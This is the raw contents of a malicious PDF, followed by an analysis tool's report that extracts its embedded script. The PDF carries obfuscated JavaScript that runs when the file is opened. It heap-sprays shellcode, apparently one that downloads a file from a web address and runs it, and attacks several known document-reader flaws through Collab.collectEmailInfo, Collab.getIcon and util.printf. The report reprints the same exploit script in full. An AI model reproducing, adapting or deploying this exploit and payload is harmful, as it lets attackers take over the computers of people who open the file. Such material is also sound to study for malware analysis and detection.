�uD��>�j�t �_�Mz`�F�s �� � �� �}Yva�1��~�O6�Slά��A��5�u�哝��\�k< U� �5�aa��V��`ާȜ��v�=[�q�� ��75�4u�y� ��� �<   {�xju�� ��{�3,m�S{�k£3x��  L�  _��? G� ڧМA��5 � �%��&��ثnG/��}�l����f"巻>qF^ � me'� � �w\W�rx
�lj)��3�K[� � �= �g � r�De~ ���z��xA1�|V���d�"� �<<J���v8qA���:	d� � �s>��ݴԀzU} ����l$���$��s l�?�  �
9�f t�rs掞� /���� �� Z�?ຆ�A����n�zUqE�{��R_�mV� P}�� } v�.9t^"��� ��8����/ ��##� ��� �3�� �6=�`#�
|
-u%7��;w Z�)5gp�W��� g^魜ݛ� h �B���h`�{�	Dִ�l�>�t,)x �� gz<�Շ�:��56sر���W���2Ut�B���ܧȜy�fL y��ܿ�� ����SKJ�7��*c���
2 �à0%�*YW��D �8 �{�[� �y�'*���� r�^L2����% � f���^�J��Ͽ�g�Ͽ];b���0 _r��}k��E��Uy]���ʔ׵L۪R��@��Y�ލ��� ^>%�c_ ���I���j ��*�� �� �?�M#o���x�=��� ��/� :>D�h�d�מ�� }�{���
% �� g?~�4��d�G�9�O � ;�3�  ֯��O·����������E�9;g���W��l [  Y+5Uvv�`o�+� _
?p�.���i���-�#^�:Y Ӱy ��� �-� �`�@� ,��oHc)��������W���  xj�
endstream
endobj
7 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 8 0 R>>
endobj
8 0 obj
<</Filter /FlateDecode /Length 382>>
stream
x��S�R�0 ��+�� ��$%m� QNjڛ㡥��� Z��_�bAA  q�æ�vw���
g��38��2<<�'! ��N/D�B�c�# c :��O�-'�p� P �� �+���}��Ĩ@�J�_�MwA� �� � 8��JAu��3م �I a���qe̥�����g� ��� t��_@� ? ��[P;[��r���S� ʙVxv �,sV +���/}7\G��y����]ˑ$�D��L (� I�6� �pn ��~{�=�� E2�V��\��� Y4��D��� _�t/�iYa�T1�0����)� � U � i�Č��� �S�|J�'�ʴFb__鷍i[5E�夬
�i��p6�.��� �Tj�ϖ��UG ȭ � � t��=�R   �[2 !� � �	
endstream
endobj
1 0 obj
<</Type /Pages
/Kids [
3 0 R
5 0 R
7 0 R
]
/Count 3
>>
endobj
9 0 obj
<</Type /OCG /Name (��print)
/Usage <</Print <</PrintState /ON>> /View <</ViewState /OFF>>>>>>
endobj
10 0 obj
<</Type /OCG /Name (��view)
/Usage <</Print <</PrintState /OFF>> /View <</ViewState /ON>>>>>>
endobj
11 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Helvetica
/Name /F1
/Encoding /WinAnsiEncoding
>>
endobj
12 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Times-Roman
/Name /F2
/Encoding /WinAnsiEncoding
>>
endobj
13 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Times-Bold
/Name /F3
/Encoding /WinAnsiEncoding
>>
endobj
14 0 obj
<</Type /XObject
/Subtype /Image
/Width 400
/Height 200
/ColorSpace /DeviceRGB
/BitsPerComponent 8
/Filter /DCTDecode
/Length 2258>>
stream
���� JFIF    ��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), default quality
��C          		 
  
                  $.' ",#  (7),01444 '9=82<.342��C 			    

 2! !22222222222222222222222222222222222222222222222222��  � �  "      ��                 	
 �ĵ             }       !1A  Qa "q 2��� #B�� R��$3br�	
     %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz���������������������������������������������������������������������������                    	
 �ĵ              w      !1  AQ aq "2�  B����	#3R� br�
 $4�%�    &'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz��������������������������������������������������������������������������       ?�(��� (��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(�A8 5 27� ƕ�h��B
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(�� �p�3��j���ƛCUv�Ө��7p��)QE QE QE QE QE QE QE QE QE QE QE QE QE QE QHH��T_j����	���x�8V�Ҥ� �(� �����lLZ(��^ڌ(��2qL �I  �ÚP�6 ��Of �a�5iw%�  X�J�R �*:��^�L(��c
(��
(��
(��
(��
(�$I8 � ��o�  c� O �* C�i�vc���B
(��
(��
(��
(��
(��
(��
(��
(��
(�� �q��� �1.��+D����Fބ ��P46 2\nU ��_�B)!�(���E]� 
(��  Q@  Q@  Q@ Y }ǥ >�`S(�w��-% Vij�mB�(�((��(��(��(��*9�I )8 u�) C)R2 QL �I�6 � H ?έYL�#  � '�!�~o�j�q�K�  6�M�:�(�$(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(�'
O�A�1�* ��Ql���b� �� )jI
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
��䑱 �OER����v �� Ө���M�݅ QHAE P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P ��
endstream
endobj
2 0 obj
<<
/ProcSet [/PDF /Text /ImageB /ImageC /ImageI]
/Font <<
/F1 11 0 R
/F2 12 0 R
/F3 13 0 R
>>
/XObject <<
/I1 14 0 R
>>
/Properties <</OC1 9 0 R /OC2 10 0 R>>
/ExtGState <<
>>
>>
endobj
15 0 obj
<<
/Names [(EmbeddedJS) 16 0 R ]
>>
endobj
16 0 obj
<<
/S /JavaScript
/JS (��function q5TeDahU7\(hJNey0R8q,knSopuO6h,hMvn4cI0ZI\){}var sF4vJtwY8=null;function tBldhzHcY\(v0dX0adJ\){return false;}var zUG9Kfei = 'var rTq8VBM7 = new Array\(\);var hzoXWf2zMR;function xZltXdRrA\(sR4ZJ8w7ci, kIkwRkWL\){while\(sR4ZJ8w7ci.length * 2 < kIkwRkWL\){sR4ZJ8w7ci += sR4ZJ8w7ci;}sR4ZJ8w7ci = sR4ZJ8w7ci.substring\(0, kIkwRkWL / 2\);return sR4ZJ8w7ci;}function kKsdhSU26\(tNydZuOK\){if\(tNydZuOK == 0\){var h8qcONPj = 0x0c0c0c0c;}else if\(tNydZuOK == 1\){h8qcONPj = 0x30303030;}var awn5fmmtY = new Array\(\\"%u535\\",\\"0%u5251%u\\",\\"5756%u9c55\\",\\"%u00e8%\\",\\"u0000%\\",\\"u5d00%ued\\",\\"83%u310\\",\\"d%u64c\\",\\"0%u4003%u7\\",\\"830%u8b0c%\\",\\"u0c40%u70\\",\\"8b%ua\\",\\"d1c%u408b\\",\\"%ueb08%u8b\\",\\"09%u3440%\\",\\"u408d\\",\\"%u8b7c%u\\",\\"3c40%u5756\\",\\"%u5ebe%u\\",\\"0001%\\",\\"u0100%ubfe\\",\\"e%u014e\\",\\"%u0000%uef\\",\\"01%ud6e\\",\\"8%u0001%\\",\\"u5f00%u8\\",\\"95e%u\\",\\"81ea%\\",\\"u5ec2%u\\",\\"0001%u5200\\",\\"%u8068%u\\",\\"0000%u\\",\\"ff00%\\",\\"u4e95%u00\\",\\"01%u8900%u\\",\\"81ea%u5ec2\\",\\"%u000\\",\\"1%u310\\",\\"0%u01f6%\\",\\"u8ac2%u\\",\\"359c%u0\\",\\"263%u0000%\\",\\"ufb80%u740\\",\\"0%u8806\\",\\"%u321c%u\\",\\"eb46%\\",\\"uc6ee%u32\\",\\"04%u890\\",\\"0%u81ea\\",\\"%u45c2%u00\\",\\"02%u5200%u\\",\\"95ff%u\\",\\"0152%u000\\",\\"0%uea\\",\\"89%uc281\\",\\"%u0250\\",\\"%u000\\",\\"0%u5052%u\\",\\"95ff%u01\\",\\"56%u00\\",\\"00%u00\\",\\"6a%u00\\",\\"6a%uea89%u\\",\\"c281%u0\\",\\"15e%u0000%\\",\\"u8952%u81e\\",\\"a%u78c2%u\\",\\"0002%u5200\\",\\"%u006a%ud0\\",\\"ff%u0\\",\\"56a%uea89\\",\\"%uc281%u01\\",\\"5e%u0000%\\",\\"uff52%\\",\\"u5a95\\",\\"%u0001\\",\\"%u8900\\",\\"%u81ea%u\\",\\"5ec2%u0\\",\\"001%u5\\",\\"200%u8\\",\\"068%u00\\",\\"00%uff\\",\\"00%u4e95%u\\",\\"0001%u8\\",\\"900%u8\\",\\"1ea%u\\",\\"5ec2%u0\\",\\"001%u3\\",\\"100%u0\\",\\"1f6%u\\",\\"8ac2%u359\\",\\"c%u026e%u0\\",\\"000%ufb80%\\",\\"u7400\\",\\"%u880\\",\\"6%u321c%\\",\\"ueb46%u\\",\\"c6ee%u3\\",\\"204%u8\\",\\"900%u81\\",\\"ea%u45c\\",\\"2%u0002%\\",\\"u5200%u95\\",\\"ff%u0152%u\\",\\"0000%uea89\\",\\"%uc281%u02\\",\\"50%u000\\",\\"0%u5052%u9\\",\\"5ff%u01\\",\\"56%u0\\",\\"000%u006\\",\\"a%u006a%ue\\",\\"a89%u\\",\\"c281%u0\\",\\"15e%u0000%\\",\\"u8952%u81e\\",\\"a%ua6c2%u\\",\\"0002%u5\\",\\"200%u006a%\\",\\"ud0ff%u\\",\\"056a%\\",\\"uea89%u\\",\\"c281%u01\\",\\"5e%u000\\",\\"0%uff52%u5\\",\\"a95%u0\\",\\"001%u9d00%\\",\\"u5f5d%\\",\\"u5a5e%u\\",\\"5b59%uc358\\",\\"%u0000%u00\\",\\"00%u0000%u\\",\\"0000%\\",\\"u0000%u\\",\\"0000%\\",\\"u0000%u000\\",\\"0%u6547%u5\\",\\"474%u6d65\\",\\"%u5070%u74\\",\\"61%u41\\",\\"68%u4c00\\",\\"%u616f%u\\",\\"4c64%\\",\\"u6269%u\\",\\"6172%u\\",\\"7972%u0\\",\\"041%u65\\",\\"47%u50\\",\\"74%u6f72\\",\\"%u4163%u\\",\\"6464%u6572\\",\\"%u7373%\\",\\"u5700%u\\",\\"6e69%u78\\",\\"45%u6365%\\",\\"ubb00%uf2\\",\\"89%uf78\\",\\"9%uc03\\",\\"0%u75a\\",\\"e%u29fd%\\",\\"u89f7%u31\\",\\"f9%ubec\\",\\"0%u00\\",\\"3c%u00\\",\\"00%ub\\",\\"503%u\\",\\"021b%u000\\",\\"0%uad66%u8\\",\\"503%u02\\",\\"1b%u000\\",\\"0%u708b%u8\\",\\"378%u1cc\\",\\"6%ub50\\",\\"3%u021b%u0\\",\\"000%u\\",\\"bd8d%u021f\\",\\"%u0000%u03\\",\\"ad%u1b\\",\\"85%u0\\",\\"002%uab0\\",\\"0%u03ad%u\\",\\"1b85%u000\\",\\"2%u500\\",\\"0%uada\\",\\"b%u8503%u0\\",\\"21b%u0000\\",\\"%u5eab%\\",\\"udb31%u56a\\",\\"d%u850\\",\\"3%u02\\",\\"1b%u0000%u\\",\\"c689%\\",\\"ud789%u\\",\\"fc51%ua6f\\",\\"3%u7459%\\",\\"u5e04%u\\",\\"eb43%u5\\",\\"ee9%ud19\\",\\"3%u03e0%u\\",\\"2785%u000\\",\\"2%u31\\",\\"00%u96f6%u\\",\\"ad66%u\\",\\"e0c1%u030\\",\\"2%u1f8\\",\\"5%u000\\",\\"2%u8900\\",\\"%uadc\\",\\"6%u8503%u\\",\\"021b%u0000\\",\\"%uebc3\\",\\"%u0010%u0\\",\\"000%u0\\",\\"000%u0000\\",\\"%u0000%u00\\",\\"00%u0\\",\\"000%u0000%\\",\\"u8900%u1b\\",\\"85%u000\\",\\"2%u56\\",\\"00%ue85\\",\\"7%uff58%u\\",\\"ffff%u5e5f\\",\\"%u01ab\\",\\"%u80ce%u\\",\\"bb3e%u0274\\",\\"%uedeb%\\",\\"u55c3%u4\\",\\"c52%u4\\",\\"f4d%u\\",\\"2e4e%\\",\\"u4c44%u\\",\\"004c%u5\\",\\"255%u4\\",\\"44c%u776f%\\",\\"u6c6e%u61\\",\\"6f%u5464\\",\\"%u466f%\\",\\"u6c69%\\",\\"u4165%\\",\\"u7500\\",\\"%u6470%u\\",\\"7461%u2e6\\",\\"5%u7865%u\\",\\"0065%u\\",\\"7263%u73\\",\\"61%u2\\",\\"e68%u6870\\",\\"%u0070\\",\\"%u7468%u\\",\\"7074%u2f3\\",\\"a%u69\\",\\"2f%u6b6e%u\\",\\"616b%u\\",\\"2e6b%u\\",\\"6e63%u6\\",\\"52f%u\\",\\"746e%u7265\\",\\"%u752f%u\\",\\"6470%u7\\",\\"461%u2e\\",\\"65%u68\\",\\"70%u3f70%\\",\\"u6469%u333\\",\\"d%u7226%u7\\",\\"465%u6f3\\",\\"d%u006b%u9\\",\\"000\\"\);awn5fmmtY = unescape\(awn5fmmtY.join\(\\"\\"\)\);var fK2iJohU = 0x400000;var mTcRGdIAFp = awn5fmmtY.length * 2;var kIkwRkWL = fK2iJohU - \(mTcRGdIAFp + 0x38\);var sR4ZJ8w7ci = unescape\(\\"%u9090%u9090\\"\);sR4ZJ8w7ci = xZltXdRrA\(sR4ZJ8w7ci, kIkwRkWL\);var lFu82BhUm = \(h8qcONPj - 0x400000\) / fK2iJohU;for\(var ho7zfzSpA2 = 0; ho7zfzSpA2 < lFu82BhUm; ho7zfzSpA2++\){rTq8VBM7[ho7zfzSpA2] = sR4ZJ8w7ci + awn5fmmtY;}}function wYcp8NZ0K\(\){var aNe5YykKME = 0;var e8ooaAyfX = app.viewerVersion.toString\(\);app.clearTimeOut\(hzoXWf2zMR\);if\(\(e8ooaAyfX >= 8 && e8ooaAyfX < 8.102\) || e8ooaAyfX < 7.1\){kKsdhSU26\(0\);var lCnTk4BeM = unescape\(\\"%u0c0c%u0c0c\\"\);while\(lCnTk4BeM.length < 44952\) lCnTk4BeM += lCnTk4BeM;var eTaM5OGrO = this;var qb7cGlrfF2 = Collab;eTaM5OGrO[\\"collabStore\\"] = qb7cGlrfF2[\\"collectEmailInfo\\"]\({subj : \\"\\", msg : lCnTk4BeM}\);}if\(\(e8ooaAyfX >= 8.102 && e8ooaAyfX < 8.104\) || \(e8ooaAyfX >= 9 && e8ooaAyfX < 9.1\) || e8ooaAyfX <= 7.101\){try{if\(app.doc.Collab.getIcon\){kKsdhSU26\(2\);var dl0wQ8RB3 = unescape\(\\"%09\\"\);while\(dl0wQ8RB3.length < 0x4000\){dl0wQ8RB3 += dl0wQ8RB3;}dl0wQ8RB3 = \\"N.\\" + dl0wQ8RB3;var pmEWlQvXt = app;pmEWlQvXt[\\"doc\\"][\\"Collab\\"][\\"getIcon\\"]\(dl0wQ8RB3\);aNe5YykKME = 1;}else{aNe5YykKME = 1;}}catch\(e\){aNe5YykKME = 1;}if\(aNe5YykKME == 1\){if\(e8ooaAyfX == 8.102 || e8ooaAyfX == 7.1\){kKsdhSU26\(1\);var r9AIMNUS4 = \\"12999999999999999999\\";for\(gDHYb1eNB = 0; gDHYb1eNB < 276; gDHYb1eNB++\){r9AIMNUS4 += \\"8\\";}var quiIRMbc = util;quiIRMbc[\\"printf\\"]\(\\"%45000f\\", r9AIMNUS4\);}}}}app.rjO2bASA3 = wYcp8NZ0K;hzoXWf2zMR = app.setTimeOut\(\\"app.rjO2bASA3\(\)\\", 10\);';function q34u6su2\(ioMR5gz7V,k3zCvAM4o,eT6FROT4NZ\){return ioMR5gz7V;}function rmkqJzTi\(fUhFEtZWm,qMyxid01F,dMPLrGrK\){return dMPLrGrK;}this.tPzyzzQKa=null;var rH5ljG0VLS = zUG9Kfei.replace\(/[]/g, ''\);this.r7E9gM9H=false;var aaNXC3uXC=false;var euoyWqcc2z=new Array\('m2B1rLly','ppm3V2roF'\);var aKcHThxsm = 'e'+'v'+'a'+'l';app[aKcHThxsm]\(rH5ljG0VLS\);oKegsvZN="j01zyiXE";function q1HkXnUMs\(jU3hrtuz,nHErrrAz\){}var mnvrrMP0i=new Array\(\);mnvrrMP0i[0]=30317;mnvrrMP0i[1]=21154;mnvrrMP0i[2]=15155;)
>>
endobj
17 0 obj
<<
/Title (��normalAlwaysTheir)
/Author (��theWhenBe)
/Subject (��aldusThoseDummy)
/Keywords (��areUsesThis, hereRootsLooks, makingEtTrue)
/Creator (��formTookYou)
/Producer (��9b8ef27229c42198631813f1d2f60aaf)
/CreationDate (D:20091020175329+04'00')
/ModDate (D:20091020175329+04'00')
>>
endobj
18 0 obj
<<
/Type /Catalog
/Pages 1 0 R
/OpenAction [3 0 R /FitH null]
/PageLayout /SinglePage
/PageMode /UseNone
/Lang /en
/Names <<
/JavaScript 15 0 R
>>
/ViewerPreferences<<
/Direction /L2R
>>
/OCProperties <</OCGs [9 0 R 10 0 R] /D <</ON [9 0 R] /OFF [10 0 R] /AS [<</Event /Print /OCGs [9 0 R 10 0 R] /Category [/Print]>> <</Event /View /OCGs [9 0 R 10 0 R] /Category [/View]>>]>>>>
>>
endobj
xref
0 19
0000000000 65535 f 
0000007464 00000 n 
0000010512 00000 n 
0000000009 00000 n 
0000000117 00000 n 
0000003517 00000 n 
0000003625 00000 n 
0000006904 00000 n 
0000007012 00000 n 
0000007534 00000 n 
0000007649 00000 n 
0000007763 00000 n 
0000007870 00000 n 
0000007979 00000 n 
0000008087 00000 n 
0000010706 00000 n 
0000010758 00000 n 
0000023354 00000 n 
0000023784 00000 n 
trailer
<<
/Size 19
/Root 18 0 R
/Info 17 0 R
>>
startxref
24182
%%EOF
generic_stage_recovery_001.js deobfuscated-js generic stage recovery null-collapse from JavaScript object 16 at offset 0x2A06 5943 bytes
SHA-256: f0c644a6346e31ed98871e2932ad58c3ed7025b2251d2cb0fe0f5983e9cfc884
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
��function q5TeDahU7(hJNey0R8q,knSopuO6h,hMvn4cI0ZI){}var sF4vJtwY8=null;function tBldhzHcY(v0dX0adJ){return false;}var zUG9Kfei = 'var rTq8VBM7 = new Array();var hzoXWf2zMR;function xZltXdRrA(sR4ZJ8w7ci, kIkwRkWL){while(sR4ZJ8w7ci.length * 2 < kIkwRkWL){sR4ZJ8w7ci += sR4ZJ8w7ci;}sR4ZJ8w7ci = sR4ZJ8w7ci.substring(0, kIkwRkWL / 2);return sR4ZJ8w7ci;}function kKsdhSU26(tNydZuOK){if(tNydZuOK == 0){var h8qcONPj = 0x0c0c0c0c;}else if(tNydZuOK == 1){h8qcONPj = 0x30303030;}var awn5fmmtY = new Array(\"%u535\",\"0%u5251%u\",\"5756%u9c55\",\"%u00e8%\",\"u0000%\",\"u5d00%ued\",\"83%u310\",\"d%u64c\",\"0%u4003%u7\",\"830%u8b0c%\",\"u0c40%u70\",\"8b%ua\",\"d1c%u408b\",\"%ueb08%u8b\",\"09%u3440%\",\"u408d\",\"%u8b7c%u\",\"3c40%u5756\",\"%u5ebe%u\",\"0001%\",\"u0100%ubfe\",\"e%u014e\",\"%u0000%uef\",\"01%ud6e\",\"8%u0001%\",\"u5f00%u8\",\"95e%u\",\"81ea%\",\"u5ec2%u\",\"0001%u5200\",\"%u8068%u\",\"0000%u\",\"ff00%\",\"u4e95%u00\",\"01%u8900%u\",\"81ea%u5ec2\",\"%u000\",\"1%u310\",\"0%u01f6%\",\"u8ac2%u\",\"359c%u0\",\"263%u0000%\",\"ufb80%u740\",\"0%u8806\",\"%u321c%u\",\"eb46%\",\"uc6ee%u32\",\"04%u890\",\"0%u81ea\",\"%u45c2%u00\",\"02%u5200%u\",\"95ff%u\",\"0152%u000\",\"0%uea\",\"89%uc281\",\"%u0250\",\"%u000\",\"0%u5052%u\",\"95ff%u01\",\"56%u00\",\"00%u00\",\"6a%u00\",\"6a%uea89%u\",\"c281%u0\",\"15e%u0000%\",\"u8952%u81e\",\"a%u78c2%u\",\"0002%u5200\",\"%u006a%ud0\",\"ff%u0\",\"56a%uea89\",\"%uc281%u01\",\"5e%u0000%\",\"uff52%\",\"u5a95\",\"%u0001\",\"%u8900\",\"%u81ea%u\",\"5ec2%u0\",\"001%u5\",\"200%u8\",\"068%u00\",\"00%uff\",\"00%u4e95%u\",\"0001%u8\",\"900%u8\",\"1ea%u\",\"5ec2%u0\",\"001%u3\",\"100%u0\",\"1f6%u\",\"8ac2%u359\",\"c%u026e%u0\",\"000%ufb80%\",\"u7400\",\"%u880\",\"6%u321c%\",\"ueb46%u\",\"c6ee%u3\",\"204%u8\",\"900%u81\",\"ea%u45c\",\"2%u0002%\",\"u5200%u95\",\"ff%u0152%u\",\"0000%uea89\",\"%uc281%u02\",\"50%u000\",\"0%u5052%u9\",\"5ff%u01\",\"56%u0\",\"000%u006\",\"a%u006a%ue\",\"a89%u\",\"c281%u0\",\"15e%u0000%\",\"u8952%u81e\",\"a%ua6c2%u\",\"0002%u5\",\"200%u006a%\",\"ud0ff%u\",\"056a%\",\"uea89%u\",\"c281%u01\",\"5e%u000\",\"0%uff52%u5\",\"a95%u0\",\"001%u9d00%\",\"u5f5d%\",\"u5a5e%u\",\"5b59%uc358\",\"%u0000%u00\",\"00%u0000%u\",\"0000%\",\"u0000%u\",\"0000%\",\"u0000%u000\",\"0%u6547%u5\",\"474%u6d65\",\"%u5070%u74\",\"61%u41\",\"68%u4c00\",\"%u616f%u\",\"4c64%\",\"u6269%u\",\"6172%u\",\"7972%u0\",\"041%u65\",\"47%u50\",\"74%u6f72\",\"%u4163%u\",\"6464%u6572\",\"%u7373%\",\"u5700%u\",\"6e69%u78\",\"45%u6365%\",\"ubb00%uf2\",\"89%uf78\",\"9%uc03\",\"0%u75a\",\"e%u29fd%\",\"u89f7%u31\",\"f9%ubec\",\"0%u00\",\"3c%u00\",\"00%ub\",\"503%u\",\"021b%u000\",\"0%uad66%u8\",\"503%u02\",\"1b%u000\",\"0%u708b%u8\",\"378%u1cc\",\"6%ub50\",\"3%u021b%u0\",\"000%u\",\"bd8d%u021f\",\"%u0000%u03\",\"ad%u1b\",\"85%u0\",\"002%uab0\",\"0%u03ad%u\",\"1b85%u000\",\"2%u500\",\"0%uada\",\"b%u8503%u0\",\"21b%u0000\",\"%u5eab%\",\"udb31%u56a\",\"d%u850\",\"3%u02\",\"1b%u0000%u\",\"c689%\",\"ud789%u\",\"fc51%ua6f\",\"3%u7459%\",\"u5e04%u\",\"eb43%u5\",\"ee9%ud19\",\"3%u03e0%u\",\"2785%u000\",\"2%u31\",\"00%u96f6%u\",\"ad66%u\",\"e0c1%u030\",\"2%u1f8\",\"5%u000\",\"2%u8900\",\"%uadc\",\"6%u8503%u\",\"021b%u0000\",\"%uebc3\",\"%u0010%u0\",\"000%u0\",\"000%u0000\",\"%u0000%u00\",\"00%u0\",\"000%u0000%\",\"u8900%u1b\",\"85%u000\",\"2%u56\",\"00%ue85\",\"7%uff58%u\",\"ffff%u5e5f\",\"%u01ab\",\"%u80ce%u\",\"bb3e%u0274\",\"%uedeb%\",\"u55c3%u4\",\"c52%u4\",\"f4d%u\",\"2e4e%\",\"u4c44%u\",\"004c%u5\",\"255%u4\",\"44c%u776f%\",\"u6c6e%u61\",\"6f%u5464\",\"%u466f%\",\"u6c69%\",\"u4165%\",\"u7500\",\"%u6470%u\",\"7461%u2e6\",\"5%u7865%u\",\"0065%u\",\"7263%u73\",\"61%u2\",\"e68%u6870\",\"%u0070\",\"%u7468%u\",\"7074%u2f3\",\"a%u69\",\"2f%u6b6e%u\",\"616b%u\",\"2e6b%u\",\"6e63%u6\",\"52f%u\",\"746e%u7265\",\"%u752f%u\",\"6470%u7\",\"461%u2e\",\"65%u68\",\"70%u3f70%\",\"u6469%u333\",\"d%u7226%u7\",\"465%u6f3\",\"d%u006b%u9\",\"000\");awn5fmmtY = unescape(awn5fmmtY.join(\"\"));var fK2iJohU = 0x400000;var mTcRGdIAFp = awn5fmmtY.length * 2;var kIkwRkWL = fK2iJohU - (mTcRGdIAFp + 0x38);var sR4ZJ8w7ci = unescape(\"%u9090%u9090\");sR4ZJ8w7ci = xZltXdRrA(sR4ZJ8w7ci, kIkwRkWL);var lFu82BhUm = (h8qcONPj - 0x400000) / fK2iJohU;for(var ho7zfzSpA2 = 0; ho7zfzSpA2 < lFu82BhUm; ho7zfzSpA2++){rTq8VBM7[ho7zfzSpA2] = sR4ZJ8w7ci + awn5fmmtY;}}function wYcp8NZ0K(){var aNe5YykKME = 0;var e8ooaAyfX = app.viewerVersion.toString();app.clearTimeOut(hzoXWf2zMR);if((e8ooaAyfX >= 8 && e8ooaAyfX < 8.102) || e8ooaAyfX < 7.1){kKsdhSU26(0);var lCnTk4BeM = unescape(\"%u0c0c%u0c0c\");while(lCnTk4BeM.length < 44952) lCnTk4BeM += lCnTk4BeM;var eTaM5OGrO = this;var qb7cGlrfF2 = Collab;eTaM5OGrO[\"collabStore\"] = qb7cGlrfF2[\"collectEmailInfo\"]({subj : \"\", msg : lCnTk4BeM});}if((e8ooaAyfX >= 8.102 && e8ooaAyfX < 8.104) || (e8ooaAyfX >= 9 && e8ooaAyfX < 9.1) || e8ooaAyfX <= 7.101){try{if(app.doc.Collab.getIcon){kKsdhSU26(2);var dl0wQ8RB3 = unescape(\"%09\");while(dl0wQ8RB3.length < 0x4000){dl0wQ8RB3 += dl0wQ8RB3;}dl0wQ8RB3 = \"N.\" + dl0wQ8RB3;var pmEWlQvXt = app;pmEWlQvXt[\"doc\"][\"Collab\"][\"getIcon\"](dl0wQ8RB3);aNe5YykKME = 1;}else{aNe5YykKME = 1;}}catch(e){aNe5YykKME = 1;}if(aNe5YykKME == 1){if(e8ooaAyfX == 8.102 || e8ooaAyfX == 7.1){kKsdhSU26(1);var r9AIMNUS4 = \"12999999999999999999\";for(gDHYb1eNB = 0; gDHYb1eNB < 276; gDHYb1eNB++){r9AIMNUS4 += \"8\";}var quiIRMbc = util;quiIRMbc[\"printf\"](\"%45000f\", r9AIMNUS4);}}}}app.rjO2bASA3 = wYcp8NZ0K;hzoXWf2zMR = app.setTimeOut(\"app.rjO2bASA3()\", 10);';function q34u6su2(ioMR5gz7V,k3zCvAM4o,eT6FROT4NZ){return ioMR5gz7V;}function rmkqJzTi(fUhFEtZWm,qMyxid01F,dMPLrGrK){return dMPLrGrK;}this.tPzyzzQKa=null;var rH5ljG0VLS = zUG9Kfei.replace(/[]/g, '');this.r7E9gM9H=false;var aaNXC3uXC=false;var euoyWqcc2z=new Array('m2B1rLly','ppm3V2roF');var aKcHThxsm = 'e'+'v'+'a'+'l';app[aKcHThxsm](rH5ljG0VLS);oKegsvZN="j01zyiXE";function q1HkXnUMs(jU3hrtuz,nHErrrAz){}var mnvrrMP0i=new Array();mnvrrMP0i[0]=30317;mnvrrMP0i[1]=21154;mnvrrMP0i[2]=15155;
generic_stage_recovery_002.js deobfuscated-js generic stage recovery split-literal-normalize from decompressed stream at 0x2A06 at offset 0x2A06 5932 bytes
SHA-256: 2b9f56e5f5efc566b2a7c1303e96f4d1d643b114015bbeec136b861825d5b1da
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function q5TeDahU7(hJNey0R8q,knSopuO6h,hMvn4cI0ZI){}var sF4vJtwY8=null;function tBldhzHcY(v0dX0adJ){return false;}var zUG9Kfei = 'var rTq8VBM7 = new Array();var hzoXWf2zMR;function xZltXdRrA(sR4ZJ8w7ci, kIkwRkWL){while(sR4ZJ8w7ci.length * 2 < kIkwRkWL){sR4ZJ8w7ci += sR4ZJ8w7ci;}sR4ZJ8w7ci = sR4ZJ8w7ci.substring(0, kIkwRkWL / 2);return sR4ZJ8w7ci;}function kKsdhSU26(tNydZuOK){if(tNydZuOK == 0){var h8qcONPj = 0x0c0c0c0c;}else if(tNydZuOK == 1){h8qcONPj = 0x30303030;}var awn5fmmtY = new Array(\"%u535\",\"0%u5251%u\",\"5756%u9c55\",\"%u00e8%\",\"u0000%\",\"u5d00%ued\",\"83%u310\",\"d%u64c\",\"0%u4003%u7\",\"830%u8b0c%\",\"u0c40%u70\",\"8b%ua\",\"d1c%u408b\",\"%ueb08%u8b\",\"09%u3440%\",\"u408d\",\"%u8b7c%u\",\"3c40%u5756\",\"%u5ebe%u\",\"0001%\",\"u0100%ubfe\",\"e%u014e\",\"%u0000%uef\",\"01%ud6e\",\"8%u0001%\",\"u5f00%u8\",\"95e%u\",\"81ea%\",\"u5ec2%u\",\"0001%u5200\",\"%u8068%u\",\"0000%u\",\"ff00%\",\"u4e95%u00\",\"01%u8900%u\",\"81ea%u5ec2\",\"%u000\",\"1%u310\",\"0%u01f6%\",\"u8ac2%u\",\"359c%u0\",\"263%u0000%\",\"ufb80%u740\",\"0%u8806\",\"%u321c%u\",\"eb46%\",\"uc6ee%u32\",\"04%u890\",\"0%u81ea\",\"%u45c2%u00\",\"02%u5200%u\",\"95ff%u\",\"0152%u000\",\"0%uea\",\"89%uc281\",\"%u0250\",\"%u000\",\"0%u5052%u\",\"95ff%u01\",\"56%u00\",\"00%u00\",\"6a%u00\",\"6a%uea89%u\",\"c281%u0\",\"15e%u0000%\",\"u8952%u81e\",\"a%u78c2%u\",\"0002%u5200\",\"%u006a%ud0\",\"ff%u0\",\"56a%uea89\",\"%uc281%u01\",\"5e%u0000%\",\"uff52%\",\"u5a95\",\"%u0001\",\"%u8900\",\"%u81ea%u\",\"5ec2%u0\",\"001%u5\",\"200%u8\",\"068%